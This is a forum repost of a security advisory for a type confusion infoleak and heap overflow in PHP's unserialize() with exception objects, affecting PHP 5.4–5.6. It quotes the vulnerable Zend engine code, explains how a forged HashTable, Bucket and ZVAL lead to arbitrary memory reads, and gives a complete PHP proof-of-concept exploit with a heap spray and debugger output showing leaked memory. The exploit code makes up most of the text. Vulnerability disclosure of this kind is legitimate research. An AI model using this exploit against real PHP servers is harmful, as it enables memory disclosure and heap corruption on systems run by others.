Aerosol Posted May 3, 2015 Report Posted May 3, 2015 # Type Confusion Infoleak and Heap Overflow Vulnerability inunserialize() with exceptionTaoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.3.3- Release Date: 2015.4.28> A type confusion vulnerability was discovered in exception object's __toString()/getTraceAsString() method that can be abused for leaking arbitrary memory blocks or heap overflow.Affected Versions------------Affected is PHP 5.6 < 5.6.8Affected is PHP 5.5 < 5.5.24Affected is PHP 5.4 < 5.4.40Credits------------This vulnerability was disclosed by Taoguang Chen.Description------------```ZEND_METHOD(exception, getTraceAsString){ zval *trace; char *res, **str, *s_tmp; int res_len = 0, *len = &res_len, num = 0; DEFAULT_0_PARAMS; res = estrdup(""); str = &res; trace = zend_read_property(default_exception_ce, getThis(), "trace",sizeof("trace")-1, 1 TSRMLS_CC); zend_hash_apply_with_arguments(Z_ARRVAL_P(trace) TSRMLS_CC,(apply_func_args_t)_build_trace_string, 3, str, len, &num); ...static int _build_trace_string(zval **frame TSRMLS_DC, int num_args,va_list args, zend_hash_key *hash_key) /* {{{ */{ char *s_tmp, **str; int *len, *num; long line; HashTable *ht = Z_ARRVAL_PP(frame); zval **file, **tmp; ... TRACE_APPEND_KEY("class"); TRACE_APPEND_KEY("type"); TRACE_APPEND_KEY("function"); ...#define TRACE_APPEND_KEY(key) \ if (zend_hash_find(ht, key, sizeof(key), (void**)&tmp) == SUCCESS) { \ if (Z_TYPE_PP(tmp) != IS_STRING) { \ zend_error(E_WARNING, "Value for %s is no string", key); \ TRACE_APPEND_STR("[unknown]"); \ } else { \ TRACE_APPEND_STRL(Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp)); \ } \ }```The Z_ARRVAL_P macro leads to pointing a fake ZVAL in memory via afake HashTable and a fake Bucket. So we can supply a fake sring-typeZVAL, and lookup arbitrary memory address via the Z_STRVAL_PP macro,causing a crash or an information leak.```#define TRACE_APPEND_STRL(val, vallen) \ { \ int l = vallen; \ *str = (char*)erealloc(*str, *len + l + 1); \ memcpy((*str) + *len, val, l); \ *len += l; \ }```There is using signed integer arithmetic in erealloc(). The memcpy()function's third parameter is a unsiged integer. The vallen can becompletely control and we can supply negative value via a fakestring-type ZVAL. So we can assign a value to val which is larger thanreal allocated memory. The memcpy() will then copy more data than theheap-based buffers can hold, causing a heap-based buffer overflow.Proof of Concept Exploit------------The PoC works on standard MacOSX 10.10.3 installation of PHP 5.5.20.```<?phpini_set("memory_limit", -1);setup_memory();$x = unserialize('O:9:"exception":1:{s:16:"'."\0".'Exception'."\0".'trace";s:'.strlen($hashtable).':"'.$hashtable.'";}');echo $x, "\n";function setup_memory(){ global $str, $hashtable; $base = 0x114000000 + 0x20; $bucket_addr = $base; $zval_delta = 0x100; $hashtable_delta = 0x200; $zval_addr = $base + $zval_delta; $hashtable_addr = $base + $hashtable_delta; $bucket = "\x01\x00\x00\x00\x00\x00\x00\x00"; $bucket .= "\x00\x00\x00\x00\x00\x00\x00\x00"; $bucket .= ptr2str($bucket_addr + 3*8); $bucket .= ptr2str($zval_addr); $bucket .= ptr2str(0); $bucket .= ptr2str(0); $bucket .= ptr2str(0); $bucket .= ptr2str(0); $bucket .= ptr2str(0); $bucket .= ptr2str(zhash('class')); $bucket .= "\x06\x00\x00\x00\x00\x00\x00\x00"; $bucket .= ptr2str($bucket_addr + 3*8 + 9*8); $bucket .= ptr2str($zval_addr + 5*8 + 6); $bucket .= ptr2str(0); $bucket .= ptr2str(0); $bucket .= ptr2str(0); $bucket .= ptr2str(0); $bucket .= ptr2str($zval_addr + 2*5*8 + 2*6); $bucket .= ptr2str($bucket_addr); $bucket .= ptr2str($bucket_addr + 9*8); $hashtable = "\x00\x00\x00\x00"; $hashtable .= "\x01\x00\x00\x00"; $hashtable .= "\x03\x00\x00\x00"; $hashtable .= "\x00\x00\x00\x00"; $hashtable .= "\x00\x00\x00\x00\x00\x00\x00\x00"; $hashtable .= ptr2str(0); $hashtable .= ptr2str($bucket_addr); $hashtable .= ptr2str($bucket_addr + 9*8); $hashtable .= ptr2str($bucket_addr + 18*8); $hashtable .= ptr2str(0); $hashtable .= "\x00"; $hashtable .= "\x00"; $zval = ptr2str($hashtable_addr); $zval .= ptr2str(0); $zval .= "\x00\x00\x00\x00"; $zval .= "\x04"; $zval .= "\x00"; $zval .= ptr2str(0); $zval .= ptr2str(0); $zval .= ptr2str(0); $zval .= ptr2str(0x100352572); $zval .= ptr2str(0x16); $zval .= "\x00\x00\x00\x00"; $zval .= "\x06"; $zval .= "\x00"; $zval .= ptr2str(0); $zval .= ptr2str(0); $zval .= ptr2str(0); $zval .= ptr2str(hexdec(bin2hex(strrev('class')))); $part = str_repeat("\x73", 4096); for ($j = 0; $j < strlen($bucket); $j++) { $part[$j] = $bucket[$j]; } for ($j = 0; $j < strlen($hashtable); $j++) { $part[$j + $hashtable_delta] = $hashtable[$j]; } for ($j = 0; $j < strlen($zval); $j++) { $part[$j + $zval_delta] = $zval[$j]; } $str = str_repeat($part, 1024*1024*256/4096);}function ptr2str($ptr){ $out = ""; for ($i=0; $i<8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out;}function zhash($key){ $hash = 5381; $key = $key; $len = strlen($key) + 1; for (; $len >= 8; $len -= 8) { for ($i = 0; $i < 8; $i++) { $hash = (($hash << 5) + $hash) + ord($key{$i}); } } $key = substr($key, -$len); for ($i = 0; $i < $len; $i++) { $hash = (($hash << 5) + $hash) + ord($key{$i}); } return $hash;}?>```Test the PoC on the command line, then output some memory blocks:```$ lldb php(lldb) target create "php"Current executable set to 'php' (x86_64).(lldb) run tcpoc.phpProcess 1825 launched: '/usr/bin/php' (x86_64)exception 'Exception' in tcpoc.php:7Stack trace:#0 [internal function]: UH??AWAVSPI??I??H????()#1 {main}Process 1825 exited with status = 0 (0x00000000)```Source Quote